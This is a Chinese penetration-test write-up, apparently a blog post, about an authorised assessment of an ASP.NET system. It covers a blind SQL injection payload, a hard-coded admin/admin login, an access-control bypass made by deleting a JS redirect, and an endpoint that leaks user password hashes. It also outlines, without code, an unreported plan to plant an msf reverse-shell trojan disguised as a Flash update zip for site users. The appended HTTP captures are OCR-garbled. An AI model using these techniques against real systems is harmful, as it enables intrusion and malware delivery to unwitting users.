记录授权系统的测试
前言
此系统只是浅度测试，领导让我随便测测就行，各位大哥勿喷。目的主要还是用实际系统告诉还未工作的哥哥们，可能工作的系统有些比你挖的src叼，但肯定也有很low的，加油！
正文部分
既然是授权了，一般情况下确定了这个ip，当时客户给我了一个前台810端口下的，IP访问，也不用想什么域名，测一下目录找找后台，或者nmap扫一下端口，看看后台是不是在其他端口就可以了，这里很简单，后台很好找，就在admin目录下，如下图
[image: ]
其他用于写报告的漏洞这里就不写了
先看以下前台
1、SQL注入漏洞
一般情况下还是想看看新闻详情页面，总觉得此页面会存在漏洞，但是很不友好，此页面测试了以下，过滤的相当全面
[image: ]
只能换个页面，新闻列表，此页面是存在注入的
[image: ]
但是测试了之后会发现输入and 1和and 0都是错误页面，换&&或者%26都不行，or和xor也都不行，order by也返回错误，注释符号也返回错误，那现在只希望这个传参是整形的了
[image: ]
[image: ]
事实证名id=2-1返回了和id=1一样的数据
[image: ]
哪里用就很简单了直接在1的位置输入payload就可以
比如：id=105-ascii(substring((DB_NAME()),1,1))，说明第一个字符的ascii值为104
过，我不想注入拿密码，后来事实证明真的解不出来
2、弱口令？
是弱口令吗，我反正admin/admin进了后台
[image: ]
成功跳转了index，但是这个cookie相当可疑啊！我用的admin登录的。U_ID=2就忍了，Name怎么还成user了，莫不是。。。但这里依然不能确定，但是这cookie的样子不是未授权就是越权啊
3、未授权访问
于是乎尝试一波未授权，毕竟还是要写报告的
直接访问index页面，会有弹窗，身份过期，但是是在你点击确定之后才跳转登陆页面，这就已经是漏洞了，如果能访问到东西，那就未授权无疑了
[image: ]
而这种弹窗，非常好过的，返回包的js代码删了就行，如下图
[image: ]
页面停留在了，后台页面
[image: ]
但是测试了以下，不是全部都存在未授权，只能说某些接口吧，比如上面的上传，就是只能看，上传提交的页面会对身份信息进行验证，但是查看用户页面就不存在，直接查看，所有用户名和密码，如下图
[image: ]
从返回信息的密码里面我尝试解码一波，16位应该是md5，但是没有解出来，admin这种口令按说肯定可疑撞出来啊，为了进一步确定猜想，我看到user的密码和admin的密码是一样的
尝试admin登录user，登录失败，wtf？
应该就是了不是弱口令，可能是某程序员镶嵌在代码里的万能账户，无论修改密码与否，admin/admin是都能登录的，不知道算个啥洞
4、文件上传之zip
为什么要把这个东西提一嘴，因为真的发现了，漏洞不一定上传脚本语言才是危害大，你可以上传html，有人可能会问html能干嘛，首先钓鱼，哥哥们都知道，s2里面存在可利用webconsole的页面，你可以上个html的前置跳转页完成利用，甚至对于这种国家单位来说，你传个某些方向言论的html，简直是灭顶之灾，妥妥的高危，而我今天选择了上传zip，哈哈哈
其实因为上传shell的方式我实在没绕过去，白名单加重命名一般就不想了，巧了zip是白名单
为什么说这个传zip是个洞呢，但是我没给客户提，先来看看前台某页面
[image: ]
这里的文件基本都是zip和rar的，共系统用户下载，而且比如flash是必须装的，不然不能正常访问，那么问题就来了，如果这个上传点可控，我还特么上传什么shell
然后我找到了就是下面这个页面，自建资源
[image: ]
接下来，我们就可以用msf生成一个exe的反弹shell的木马文件，改个名，压缩一下，免杀的话这里不提，只是思路，如下图flash.zip
[image: ]
成功上传，如图
[image: ]
看看前台效果，如下
[image: ]
还嫌不够的话，你甚至还可以发个公告，告诉大家，flash插件改更新了，反正你有万能账户。端起茶叶水，等着shell回弹
总结
[bookmark: _GoBack]觉得这种有点意思，分享下，此系统其他写报告的洞就不说了，都是凑数，而这个没写报告。。。。
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POST /Admin/Tagin. aspx HTTP/1.1

Host: .

Content-Length: 448

Cache—Control: max-age=0

Origin: http://192.168. 160. 28:810

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www—forn—urlencoded

User-Agent: Mozilla/5.0 (¥indows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/7T4.0.3729.169 Safari/537.36

Accept:

text/htnl, application/xhtml+xnl, application/xmnl;q=0. 9, inage/webp, inage/apng, */#; q=0.
8, application/signed-exchange;v=h3

Referer: http://192.168.160.28:810/Adnin/Login. aspx

Accept-Encoding: gzip, deflate

Accept-Language: zh—CN, zh;q=0.9

Cookie: U_ID=2; Name=user; Landum=101707;

ASP. NET_SessionId=4cvwnl55tojbgsrdupcOevss

Connection: close

__VIEWSTATE=%2FwEPDwUKMTczHzASNTUSNg8WAh4ER1VIRAULNDC3N2V1Y jJAtZWIOZSOOMFIYLTL jZTQtHT
dnYVEZNWE4YTVnFgICAQ9kFgICAQ8PFgIeBFR1eHQF JDQ3Nzdl ZWIWLWViNGUtNDFiMi05Y 2UOLTE3ZuFhl j
VhOGE1ZnRkGAEFH19fQ29udHJvbHNSZXF1aXJ1UG9zdEThY 2tLZX1 fXxYBBQ1l fYnRuTG9na¥ Tn0B8U31 gM¥d
DLDd1vSPAO1p%2BIUA%3D%3D&__EVENTVALIDATION=%2FwEWBQK%2F 9llv TDAK11bK4CQLH4pavBQLKw6LdB
QLO44ulDSsxvEUX jeA8z57FkB jG61gpEzki&txtUsernane=adning&_btnLogin. x=54&_btnLogin. y=12&
txtPass=adnin&CheckCode=K7W3 I

HTTP/1.1 302 Found

Cache—Control: private

Content-Type: text/html; charset=utf-8
Location: /Admin/Index.aspx

Server: Microsoft-IIS/7.5
X-Aspllet-Version: 2.0.50727
X-Powered-By: ASP.NET

Date: Tue, 31 Dec 2019 05:25:33 GHT
Connection: close

Content-Length: 138

<htnl><head><title>0Obj
<h2>0Object moved
! </body></htnl>

<a href="%2fAdnin%2fIndex. aspx” Jered/a>. </h2>
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Headers | Hex | HTML | Render | ViewState

GET /Adnin/Index.aspx HITP/1.1
Host 1:810

function Logout( {
location. href = “Login. aspx”;

Cache—Control: max-age=0 }
Upgrade-Insecure-Requests: 1 </script>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 <title>

(KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Accept:

text/htnl, application/xhtml+xml, application/xnl;q=0. 9, inage/webp, inage/apng, *
/*;q=0. 8, application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

2ept—Language: zh—CNl, zh; g=0. 9

<Jtitle. uead>

<body style="padding:0px;background: *EAEEF5;” class="1-scroll”>
<form name="forml” method="post” action="Index.aspx” id="form1”>

<div>

<input type="hidden” name="__VIEWSTATE" id="__VIEWSTATE"

value="/wEPDwUINTkSOTM1NDRkZFiTxV6aqilinkhJ4aah2H9un1EMb” /> >

<fdiv>

okie: ASP.NET_Sessionld=oizb2r55q0gvet3sxuwc2p45; U_ID=2; Name=user;
Laxdliun=101709
Connection: close

<script type="text/javascript’>
//<! [CDATAL
$.ligerDialog. error C 3! °, "< 7, function O {
location. href="login. aspx’}) ;//11>
ipt>

<div id="pageloading ></div>

<div id="topmenu” class="1-topmenu”>
<div class="1-t SR/ divy
<div class="1-topmenu-welcome” >
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Host:
Content-Length: 67
Accept: application/json, text/javascript, */*

Origin: http://192.168.160.28:810

X-Requested-¥ith: XMLHttpRequest

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;, x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Content-Type: annlication/x-www—form-urlencoded

Referer: http }:810/Adnin/User/UserList. aspx
Agept—ltncoding: gzip, deflate

8:810

ccept-Language: zh—CN, zh;q=0.9
kie:
Connection: close

gridsearch=1%3D1&page=1&pagesize=10&sortnane=Landliun&sortorder=desc

!

POST /Service/BillListData.ashx?gridviewname=View_User HTTP/1.1 A HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/plain; charset=utf-8
Vary: Accept-Encoding

Server: Microsoft-IIS/7.5
X-Asplet-Version: 2.0.50
X-Powered-By: ASP.NET
Date: Tue, 31 Dec 2019 05:33:41 GNT
Connection: close

Content-Length: 532

{"Rows”: [{"rows”:"1", "KeShi_Name”: "4 §}", "Name”: “user”, "PWD”: "8FD9I56AC2304763
1. "Sex”:" &7, "Type_Name”: " #Id/{]/*", "State” : "True’, Kea T 00325, u
n”:"101709", “ID":"2"}, {"rows":"2", “KeShi_Name”: " {2}, Nane”: “adnin”, "P¥D":
" gFDI56AC23047631", “Sex”: " J}", "Type_Nane”: " 11", "State” ;" True”, Readliun”:”
77, Tandmm :"33%, "ID": "1}, {"rows”:"3", "KeShi_Name”:"{5EFl", "Nane”:"test”

, "PWD": "B8933A8BE065647C”, “Sex”:" )", “Type_Name” : " #Jiff]/*", "State”: "True”, "R

eadliun”:"2", “Landun”:"7", “ID":"20"} ], "Total”:"3"}
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boundary=———-¥ebK1i tFornBoundaryTepKL0s 2Kx3LpPKO
User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Accept:

text/htnl, application/xhtnl+xnl, application/xnl;q=0. 9, inage/webp, inage/apng, *
/*;q=0. 8, application/signed-exchange;v=b3

Referer: :810/Adnin/LibraryInfo/AddLibrary. aspx
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;g=0.9

Cookie: ASP.NET_Sessionld=0izb2r55q0gvet3sxuwcip45; U_ID=2;
Landlfun=101709

Connection: close

Name=user;

ent-Disposition: form-data; name="__VIEWSTATE”

(—w ebKitFornBoundary7epKL0s 2Kx3LpPKO
cdxgt

/wEPDwUKLTESNDE xHDUONQ9KF g ICAwSWAh4HZW5 jdH1wZQUTbXVsdGlwYXJOL2Zven0tZGFOYWRKG
GVn0/h/3Su7cFHH20Hq5EP] 2k=

—————— WebKi tFornBoundary7epKL0s 2Kx3LpPKO

Content-Disposition: form—data; name="__EVENTVALIDATION"

/wEWBQL3h02UDeK7zqr YDQKOw8fdCALEgdyJCeLKwITQBBnL9Jvb/pke85TelcnCW12fChST

——————WebKi tFornBoundary7epKL0s 2Kx3LpPKO

Content-Disposition: form-data; name="txt_NName”

flashi FififF

——————WebKi tFornBoundary7epKL0s 2Kx3LpPKO
Content-Disposition: form-data; name="fu_Info”;
Content-Type: application/x-zip-compressed

B — - ————
<tr>

<td align="right” class="1-table-edit-td " >4#: </td>
<td colspan="3" align="1left” class="1-table-edit-td">
<input name="txt_Name” type="text”
value="flashiZ Fifi{f" id="txt_Name” /></td>
<ftr>
<tr>
<td>
<input type="file” name="fu_Info” id="fu_Info" />
</td>
<td>
<input type="submit” name="btn_Exprot”
onclick="return _check() ;" id="btn_Exprot” class="l-button” />
<span id="waitting” style="color: Red'></span>>

value=" I-{&”

</td>
</tr>

</table>
<input type="hidden” name="hid_TypeID” id="hid_TypeID”
value="1" />
<input type="hidden” name="hid_ClassID” id="hid_ClassID"
value="3" />
</div>

<script language=" javascript’ (defer>alertC MNmIh! *) #/script></forn>
</body>

</htnl>
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